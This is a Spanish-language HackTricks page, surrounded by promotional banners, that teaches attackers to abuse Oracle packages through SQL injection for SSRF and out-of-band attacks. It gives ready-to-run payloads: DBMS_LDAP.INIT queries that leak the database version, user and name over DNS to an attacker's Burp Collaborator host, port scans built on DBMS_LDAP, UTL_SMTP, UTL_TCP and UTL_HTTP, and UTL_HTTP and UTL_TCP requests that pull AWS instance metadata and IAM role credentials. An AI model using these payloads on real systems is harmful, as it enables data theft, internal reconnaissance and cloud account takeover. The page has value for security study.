# Inyección en Oracle
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## SSRF Usar Oracle para realizar solicitudes HTTP y DNS fuera de banda está bien documentado, pero como medio para exfiltrar datos SQL en inyecciones. Siempre podemos modificar estas técnicas/funciones para hacer otros SSRF/XSPA. Instalar Oracle puede ser realmente doloroso, especialmente si quieres configurar una instancia rápida para probar comandos. Mi amigo y colega en [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me señaló [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitió configurar una instancia en una máquina AWS Ubuntu t2.large y Docker. Ejecuté el comando docker con la bandera `--network="host"` para poder simular Oracle como una instalación nativa con acceso completo a la red, para el transcurso de este blogpost. ``` docker run -d --network="host" quay.io/maksymbilenko/oracle-12c ``` #### Paquetes de Oracle que admiten una especificación de URL o de Nombre de Host/Puerto Para encontrar paquetes y funciones que admitan una especificación de host y puerto, realicé una búsqueda en Google en la [Documentación en Línea de Oracle Database](https://docs.oracle.com/database/121/index.html). Específicamente, ``` site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum" ``` La búsqueda arrojó los siguientes resultados (no todos se pueden utilizar para realizar conexiones de red salientes) * DBMS\_NETWORK\_ACL\_ADMIN * UTL\_SMTP * DBMS\_XDB * DBMS\_SCHEDULER * DBMS\_XDB\_CONFIG * DBMS\_AQ * UTL\_MAIL * DBMS\_AQELM * DBMS\_NETWORK\_ACL\_UTILITY * DBMS\_MGD\_ID\_UTL * UTL\_TCP * DBMS\_MGWADM * DBMS\_STREAMS\_ADM * UTL\_HTTP Esta búsqueda rudimentaria obviamente omite paquetes como `DBMS_LDAP` (que permite pasar un nombre de host y número de puerto) ya que [la página de documentación](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplemente te redirige a una [ubicación diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Por lo tanto, puede haber otros paquetes de Oracle que se puedan abusar para realizar solicitudes salientes que podría haber pasado por alto. En cualquier caso, echemos un vistazo a algunos de los paquetes que hemos descubierto y enumerado anteriormente. **DBMS\_LDAP.INIT** El paquete `DBMS_LDAP` permite el acceso a datos de servidores LDAP. La función `init()` inicia una sesión con un servidor LDAP y toma un nombre de host y número de puerto como argumento. Esta función se ha documentado anteriormente para mostrar la exfiltración de datos a través de DNS, como se muestra a continuación ``` SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; ``` Sin embargo, dado que la función acepta un nombre de host y un número de puerto como argumentos, también puedes usar esto como un escáner de puertos. Aquí hay algunos ejemplos ``` SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; ``` Un `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que el puerto está cerrado mientras que un valor de sesión apunta a que el puerto está abierto. **UTL_SMTP** El paquete `UTL_SMTP` está diseñado para enviar correos electrónicos a través de SMTP. El ejemplo proporcionado en el [sitio de documentación de Oracle muestra cómo puedes usar este paquete para enviar un correo electrónico](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Sin embargo, para nosotros, lo interesante es la capacidad de proporcionar una especificación de host y puerto. A continuación se muestra un ejemplo rudimentario con la función `UTL_SMTP.OPEN_CONNECTION`, con un tiempo de espera de 2 segundos ``` DECLARE c utl_smtp.connection; BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2); END; ``` ``` DECLARE c utl_smtp.connection; BEGIN c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2); END; ``` **UTL\_TCP** El paquete `UTL_TCP` y sus procedimientos y funciones permiten [comunicación basada en TCP/IP con servicios](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Si se programa para un servicio específico, este paquete puede convertirse fácilmente en una vía de acceso a la red o realizar Solicitudes del Lado del Servidor completas, ya que se pueden controlar todos los aspectos de una conexión TCP/IP. El ejemplo [en el sitio de documentación de Oracle muestra cómo puedes usar este paquete para hacer una conexión TCP cruda para obtener una página web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificarlo aún más y usarlo para hacer solicitudes a la instancia de metadatos, por ejemplo, o a un servicio TCP/IP arbitrario. ``` set serveroutput on size 30000; SET SERVEROUTPUT ON DECLARE c utl_tcp.connection; retval pls_integer; BEGIN c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2); retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0'); retval := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END; / ``` ``` DECLARE c utl_tcp.connection; retval pls_integer; BEGIN c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4); retval := utl_tcp.write_line(c); BEGIN LOOP dbms_output.put_line(utl_tcp.get_line(c, TRUE)); END LOOP; EXCEPTION WHEN utl_tcp.end_of_input THEN NULL; END; utl_tcp.close_connection(c); END; ``` **UTL\_HTTP y Solicitudes Web** Quizás la técnica más común y ampliamente documentada en todos los tutoriales de Inyección SQL Oracle Fuera de Banda es el [paquete `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). La documentación define este paquete como - `El paquete UTL_HTTP realiza llamadas al Protocolo de Transferencia de Hipertexto (HTTP) desde SQL y PL/SQL. Puede utilizarse para acceder a datos en Internet a través de HTTP.` ``` select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; ``` Además, podrías utilizar esto para realizar un escaneo de puertos rudimentario con consultas como ``` select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; ``` Un `ORA-12541: TNS:no listener` o un `TNS:operation timed out` es una señal de que el puerto TCP está cerrado, mientras que un `ORA-29263: HTTP protocol error` o datos son una señal de que el puerto está abierto. Otro paquete que he utilizado en el pasado con éxito variable es el método [`GETCLOB()` del tipo abstracto de Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) que te permite interactuar con una URL y proporciona soporte para el protocolo HTTP. El método `GETCLOB()` se utiliza para obtener la respuesta GET de una URL como un [tipo de datos CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html) [select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al grupo de [**telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).